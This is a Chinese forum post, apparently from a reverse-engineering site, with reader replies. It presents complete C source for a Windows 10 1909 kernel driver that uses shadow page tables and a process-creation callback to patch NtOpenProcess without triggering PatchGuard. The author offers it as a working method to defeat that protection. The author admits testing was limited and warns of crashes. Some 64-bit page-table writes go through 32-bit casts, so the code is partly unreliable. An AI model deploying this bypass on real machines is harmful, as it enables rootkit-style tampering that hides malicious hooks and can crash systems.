首页
论坛
课程
招聘
[系统底层] [原创]win10 1909逆向(绕过PG,实现内核HOOK)
2021-4-1 11:55 3732

[系统底层] [原创]win10 1909逆向(绕过PG,实现内核HOOK)

2021-4-1 11:55
3732

       此代码测试环境win10 1909物理机上被动打开10个进程,HOOK Nt!NtOpenPorcess 60个小时未触发PG为前提写成,因为我未触发PG,样本测试过少,所以只能以我的实验确认未触发PG,不代表100%过了PG,仅仅做为方向向大家提供,可以分为被动和主动,主动需要另外的细节处理,这个是被动HOOK。仅以此提供方向,希望大家都能干掉PG,测试过程中如果出现1A或者7E的异常,请自行修改,这是1903和1909特有的检测产生,我目前暂未出现此种异常。


#include <ntddk.h>

#define KERNEL_CR3_OFFSET 0x28
#define DELAY_ONE_MICROSECOND (-10)
#define DELAY_ONE_MILLISECOND (DELAY_ONE_MICROSECOND*1000)
#define SYSTEMID 4
enum
{
	AllocPTE,
	AllocPTESHADOW,
	AllocPDE,
	AllocPDESHADOW,
	AllocPPE,
	AllocPPESHADOW,
	AllocPXE,
	AllocPXESHADOW,
	AllocCR3,

};
typedef struct _KLDR_DATA_TABLE_ENTRY
{
	struct _LIST_ENTRY InLoadOrderLinks;                                    //0x0
	VOID* ExceptionTable;                                                   //0x10
	ULONG ExceptionTableSize;                                               //0x18
	VOID* GpValue;                                                          //0x20
	struct _NON_PAGED_DEBUG_INFO* NonPagedDebugInfo;                        //0x28
	VOID* DllBase;                                                          //0x30
	VOID* EntryPoint;                                                       //0x38
	ULONG SizeOfImage;                                                      //0x40
	struct _UNICODE_STRING FullDllName;                                     //0x48
	struct _UNICODE_STRING BaseDllName;                                     //0x58
	ULONG Flags;                                                            //0x68
	USHORT LoadCount;                                                       //0x6c
	union
	{
		USHORT SignatureLevel : 4;                                            //0x6e
		USHORT SignatureType : 3;                                             //0x6e
		USHORT Unused : 9;                                                    //0x6e
		USHORT EntireField;                                                 //0x6e
	} u1;                                                                   //0x6e
	VOID* SectionPointer;                                                   //0x70
	ULONG CheckSum;                                                         //0x78
	ULONG CoverageSectionSize;                                              //0x7c
	VOID* CoverageSection;                                                  //0x80
	VOID* LoadedImports;                                                    //0x88
	VOID* Spare;                                                            //0x90
	ULONG SizeOfImageNotRounded;                                            //0x98
	ULONG TimeDateStamp;                                                    //0x9c
}KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;
NTSTATUS RtlMappingAddress(ULONG64 VirtualAddress, ULONG64 pid);
PVOID MiGetXXXAddress(ULONG64 VirtualAddress, PVOID PteBase);
void MySleep(long mesc);

PVOID pPageArray[9];
PVOID PteBase;
ULONG64 PxeShadowPhy;
ULONG PXEIndex;
ULONG FuncOffset;
ULONG64 PxePhyAddr;

VOID ProcessNotifyRoutine(
	_In_ HANDLE ParentId,
	_In_ HANDLE ProcessId,
	_In_ BOOLEAN Create
	);

EXTERN_C NTSTATUS PsLookupProcessByProcessId(
	IN HANDLE ProcessId,
	OUT PEPROCESS *Process
	);
EXTERN_C NTSTATUS PsSuspendProcess(PEPROCESS Process);
EXTERN_C NTSTATUS PsResumeProcess(PEPROCESS Process);
EXTERN_C PUCHAR PsGetProcessImageFileName(
	PEPROCESS Process
	);
PVOID FindBase();


VOID DriverUnload(PDRIVER_OBJECT pDriverObject)
{
	KdPrint(("退出驱动\n"));
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath)
{
	NTSTATUS status = STATUS_SUCCESS;
	pDriverObject->DriverUnload = DriverUnload;
	RtlMappingAddress(NtOpenProcess, SYSTEMID);
	PKLDR_DATA_TABLE_ENTRY pKldr = (PKLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection;
	pKldr->Flags |= 0x20;
	status = PsSetCreateProcessNotifyRoutine(ProcessNotifyRoutine, FALSE);
	if (!NT_SUCCESS(status))
	{
		KdPrint(("创建回调失败\n"));
		return status;
	}



	return status;
}

PVOID MiGetXXXAddress(ULONG64 VirtualAddress, PVOID PteBase)
{
	return ((VirtualAddress >> 9) & 0x7FFFFFFFF8) + (ULONG64)PteBase;
}

PVOID FindBase()
{
	PUCHAR BaseAddr = MmGetVirtualForPhysical;
	return *(PUINT64)(BaseAddr + 0x22);
}
NTSTATUS RtlMappingAddress(ULONG64 VirtualAddress, ULONG64 pid)
{
	NTSTATUS status = STATUS_SUCCESS;
	PEPROCESS Process;
	status = PsLookupProcessByProcessId(pid, &Process);
	if (!NT_SUCCESS(status))
	{
		KdPrint(("Don't Find Process.\n"));
		return status;
	}
	PVOID pDirectoryTableBase = (ULONG64)Process + KERNEL_CR3_OFFSET;


	PXEIndex = (VirtualAddress >> 0x27) & 0x1FF;
	ULONG PPEIndex = (VirtualAddress >> 0x1E) & 0x1FF;
	ULONG PDEIndex = (VirtualAddress >> 0x15) & 0x1FF;
	ULONG PTEIndex = (VirtualAddress >> 0xC) & 0x1FF;
	FuncOffset = VirtualAddress & 0xFFF;

	PteBase = FindBase();
	PULONG64 Pte = (PULONG64)MiGetXXXAddress(VirtualAddress, PteBase);
	PULONG64 Pde = (PULONG64)MiGetXXXAddress(Pte, PteBase);
	PULONG64 Ppe = (PULONG64)MiGetXXXAddress(Pde, PteBase);
	PULONG64 Pxe = (PULONG64)MiGetXXXAddress(Ppe, PteBase);
	ULONG64 PtePhyAddr = *Pte;
	ULONG64 PdePhyAddr = *Pde;
	ULONG64 PpePhyAddr = *Ppe;
	PxePhyAddr = *Pxe;
	ULONG64 Cr3PhyAddr = (*(PULONG64)pDirectoryTableBase) & (~0xFFF) | 0x063;

	PHYSICAL_ADDRESS Low = { 0 };
	PHYSICAL_ADDRESS High = { MAXULONG64 };
	
	for (int i = 0; i < 9; i++)
	{
		pPageArray[i] = MmAllocateContiguousMemorySpecifyCache(PAGE_SIZE, Low, High, Low, MmCached);
		if (!pPageArray[i])
		{
			KdPrint(("Alloc Memory Fail\n"));
			return STATUS_NO_MEMORY;
		}
		RtlZeroMemory(pPageArray[i], PAGE_SIZE);
	}


	PVOID AllocPteAddress = MiGetXXXAddress(pPageArray[AllocPTE], PteBase);
	ULONG64 OldAllocPTE = *(PULONG64)AllocPteAddress;
	*(PULONG64)AllocPteAddress = PtePhyAddr;
	RtlCopyMemory(pPageArray[AllocPTESHADOW], pPageArray[AllocPTE], PAGE_SIZE);
	ULONG64 PteShadowPhy = *(PULONG64)(MiGetXXXAddress(pPageArray[AllocPTESHADOW], PteBase));
	*(PULONG64)AllocPteAddress = OldAllocPTE;

	PVOID AllocPdeAddress = MiGetXXXAddress(pPageArray[AllocPDE], PteBase);
	ULONG64 OldAllocPde = *(PULONG64)AllocPdeAddress;
	*(PULONG64)AllocPdeAddress = PdePhyAddr;
	RtlCopyMemory(pPageArray[AllocPDESHADOW], pPageArray[AllocPDE], PAGE_SIZE);
	ULONG64 PdeShadowPhy = *(PULONG64)(MiGetXXXAddress(pPageArray[AllocPDESHADOW], PteBase));
	*(PULONG64)AllocPdeAddress = OldAllocPde;


	PVOID AllocPpeAddress = MiGetXXXAddress(pPageArray[AllocPPE], PteBase);
	ULONG64 OldAllocPpe = *(PULONG64)AllocPpeAddress;
	*(PULONG64)AllocPpeAddress = PpePhyAddr;
	RtlCopyMemory(pPageArray[AllocPPESHADOW], pPageArray[AllocPPE], PAGE_SIZE);
	ULONG64 PpeShadowPhy = *(PULONG64)(MiGetXXXAddress(pPageArray[AllocPPESHADOW], PteBase));
	*(PULONG64)AllocPpeAddress = OldAllocPpe;

	PVOID AllocPxeAddress = MiGetXXXAddress(pPageArray[AllocPXE], PteBase);
	ULONG64 OldAllocPxe = *(PULONG64)AllocPxeAddress;
	*(PULONG64)AllocPxeAddress = PxePhyAddr;
	RtlCopyMemory(pPageArray[AllocPXESHADOW], pPageArray[AllocPXE], PAGE_SIZE);
	PxeShadowPhy = *(PULONG64)(MiGetXXXAddress(pPageArray[AllocPXESHADOW], PteBase));
	*(PULONG64)AllocPxeAddress = OldAllocPxe;

	//这里和下面注
	/*PVOID AllocCR3Address = MiGetXXXAddress(pPageArray[AllocCR3], PteBase);
	ULONG64 OldAllocCR3 = *(PULONG64)AllocCR3Address;
	*(PULONG64)AllocCR3Address = Cr3PhyAddr;*/

	*(PULONG)((ULONG64)pPageArray[AllocPDESHADOW] + PTEIndex * 8) = (PteShadowPhy & 0xFFFFFFFFF000) | (PtePhyAddr & ~(0xFFFFFFFFF000));
	*(PULONG)((ULONG64)pPageArray[AllocPPESHADOW] + PDEIndex * 8) = (PdeShadowPhy & 0xFFFFFFFFF000) | (PdePhyAddr & ~(0xFFFFFFFFF000));
	*(PULONG)((ULONG64)pPageArray[AllocPXESHADOW] + PPEIndex * 8) = (PpeShadowPhy & 0xFFFFFFFFF000) | (PpePhyAddr & ~(0xFFFFFFFFF000));

	////关键一换
	//PsSuspendProcess(Process);
	//MySleep(100);
	//*(PULONG)((ULONG64)pPageArray[AllocCR3] + PXEIndex * 8) = (PxeShadowPhy & 0xFFFFFFFFF000) | (PxePhyAddr & ~(0xFFFFFFFFF000));
	//PsResumeProcess(Process);

	ObDereferenceObject(Process);
	//修改NTOPENPROCESS的值
	/**(PCHAR)((ULONG64)pPageArray[AllocPTESHADOW] + FuncOffset + 0x27) = 0x90;
	*(PCHAR)((ULONG64)pPageArray[AllocPTESHADOW] + FuncOffset + 0x28) = 0x90;
	*(PCHAR)((ULONG64)pPageArray[AllocPTESHADOW] + FuncOffset + 0x29) = 0x90;
	*(PCHAR)((ULONG64)pPageArray[AllocPTESHADOW] + FuncOffset + 0x2A) = 0xc3;
	*(PULONG64)AllocCR3Address = OldAllocCR3;*/
	
	return status;

}

void MySleep(long mesc)
{
	LARGE_INTEGER my_interval;
	my_interval.QuadPart = DELAY_ONE_MILLISECOND;
	my_interval.QuadPart *= mesc;
	KeDelayExecutionThread(KernelMode, 0, &my_interval);
}


VOID ProcessNotifyRoutine(
_In_ HANDLE ParentId,
_In_ HANDLE ProcessId,
_In_ BOOLEAN Create
)
{
	//挂10个winobj.exe来测试pg
	if (Create)
	{
		
		NTSTATUS status = STATUS_SUCCESS;
		PEPROCESS Process;
		status = PsLookupProcessByProcessId(ProcessId, &Process);
		PUCHAR pFileName = PsGetProcessImageFileName(Process);
		char buf[] = "Winobj.exe";
		if (strcmp(pFileName, buf) == 0)
		{
			
			PVOID pDirectoryTableBase = (ULONG64)Process + KERNEL_CR3_OFFSET;
			PVOID AllocCR3Address = MiGetXXXAddress(pPageArray[AllocCR3], PteBase);
			ULONG64 OldAllocCR3 = *(PULONG64)AllocCR3Address;
			ULONG64 Cr3PhyAddr = (*(PULONG64)pDirectoryTableBase) & (~0xFFF) | 0x063;
			*(PULONG64)AllocCR3Address = Cr3PhyAddr;
			*(PULONG)((ULONG64)pPageArray[AllocCR3] + PXEIndex * 8) = (PxeShadowPhy & 0xFFFFFFFFF000) | (PxePhyAddr & ~(0xFFFFFFFFF000));
			*(PCHAR)((ULONG64)pPageArray[AllocPTESHADOW] + FuncOffset + 0x27) = 0x90;
			*(PCHAR)((ULONG64)pPageArray[AllocPTESHADOW] + FuncOffset + 0x28) = 0x90;
			*(PCHAR)((ULONG64)pPageArray[AllocPTESHADOW] + FuncOffset + 0x29) = 0x90;
			*(PCHAR)((ULONG64)pPageArray[AllocPTESHADOW] + FuncOffset + 0x2A) = 0xc3;
			*(PULONG64)AllocCR3Address = OldAllocCR3;
			KdPrint(("HOOK Finish\n"));

		}
		ObDereferenceObject(Process);
	}
}



第五届安全开发者峰会(SDC 2021)议题征集正式开启!

收藏
点赞2
打赏
分享
最新回复 (26)
雪    币: 277
活跃值: 活跃值 (372)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dz默契 活跃值 2021-4-1 12:00
2
0
前排支持我豆哥
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
0x太上 活跃值 2021-4-1 12:00
3
0
666
雪    币: 216
活跃值: 活跃值 (293)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
hackflame 活跃值 2021-4-1 12:02
4
0
必须要支持一下
雪    币: 642
活跃值: 活跃值 (387)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
はつゆき 活跃值 2021-4-1 12:03
5
0
给力
雪    币: 458
活跃值: 活跃值 (279)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
青丝梦 活跃值 2021-4-1 12:03
6
0
豆总牛逼
雪    币: 66
活跃值: 活跃值 (267)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tmflxw 活跃值 2021-4-1 12:23
7
0
吊炸天,这是在进程回调里hook的,要是能遍历进程,主动全hook就好了
雪    币: 1362
活跃值: 活跃值 (402)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dearfuture 活跃值 2021-4-1 13:08
8
0
tmflxw 吊炸天,这是在进程回调里hook的,要是能遍历进程,主动全hook就好了
已经跑起来的进程还得暂停所有线程之类的,不然修改页表的时候可能就蓝了,挺麻烦。调用进程创建回调的时机就不错,还没有线程跑起来
雪    币: 2780
活跃值: 活跃值 (2757)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
学技术打豆豆 活跃值 1 2021-4-1 13:09
9
0
dearfuture 已经跑起来的进程还得暂停所有线程之类的,不然修改页表的时候可能就蓝了,挺麻烦。调用进程创建回调的时机就不错,还没有线程跑起来
不会蓝,是你根本改不成功。他会锁了。
雪    币: 1362
活跃值: 活跃值 (402)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dearfuture 活跃值 2021-4-1 13:12
10
0
学技术打豆豆 不会蓝,是你根本改不成功。他会锁了。
哦,这样
雪    币: 137
活跃值: 活跃值 (359)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
niuzuoquan 活跃值 2021-4-1 14:21
11
0
mark
雪    币: 1376
活跃值: 活跃值 (688)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
dx苹果的心愿 活跃值 1 2021-4-1 14:34
12
0
支持一下
雪    币: 2780
活跃值: 活跃值 (2757)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
学技术打豆豆 活跃值 1 2021-4-1 15:23
13
0
hackflame 必须要支持一下
以后还要火哥师父多多指点。
雪    币: 20
活跃值: 活跃值 (59)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
mfxiaosheng 活跃值 2021-4-1 16:37
14
0
还是6啊,这么叼的吗
雪    币: 135
活跃值: 活跃值 (126)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
璀璨访华 活跃值 2021-4-1 22:40
15
0
雪    币: 327
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
思源欲涩 活跃值 2021-4-2 11:17
16
0
还是vt香
雪    币: 6196
活跃值: 活跃值 (347)
能力值: ( LV5,RANK:68 )
在线值:
发帖
回帖
粉丝
万剑归宗 活跃值 1 2021-4-2 11:30
17
0
思路清奇
雪    币: 20
活跃值: 活跃值 (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dzsshunzi 活跃值 2021-4-2 21:56
18
0
雪    币: 5017
活跃值: 活跃值 (1656)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
hhkqqs 活跃值 1 2021-4-4 01:34
19
0

没看懂为何其他在运行的进程改不了页表的PXE,难道刷TLB也不行么

最后于 2021-4-4 01:44 被hhkqqs编辑 ,原因:
雪    币: 2780
活跃值: 活跃值 (2757)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
学技术打豆豆 活跃值 1 2021-4-4 08:06
20
0
hhkqqs 没看懂为何其他在运行的进程改不了页表的PXE,难道刷TLB也不行么
硬件机制决定的,你在修改pxe里的值时,如果别的线程正在读取或者修改里面的范围内值时,硬件会锁定,这时候你的修改不会成功,也就是挂不上物理页,当然你在用windbg下测试是能挂上的,因为windbg中断下来的时候,会暂停所有线程,保留当前调试线程。
雪    币: 151
活跃值: 活跃值 (65)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
mb_qmomcleg 活跃值 2021-4-4 08:59
21
1
群里的大佬
雪    币: 0
活跃值: 活跃值 (41)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wx_子陵 活跃值 4天前
22
0
超过火哥了
雪    币: 185
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
星雪鸢尾 活跃值 4天前
23
0
好耶
雪    币: 1585
活跃值: 活跃值 (483)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
caolinkai 活跃值 4天前
24
0
666666
雪    币: 295
活跃值: 活跃值 (263)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lwbkanxue 活跃值 3天前
25
0
这样做的原理是什么
游客
登录 | 注册 方可回帖
返回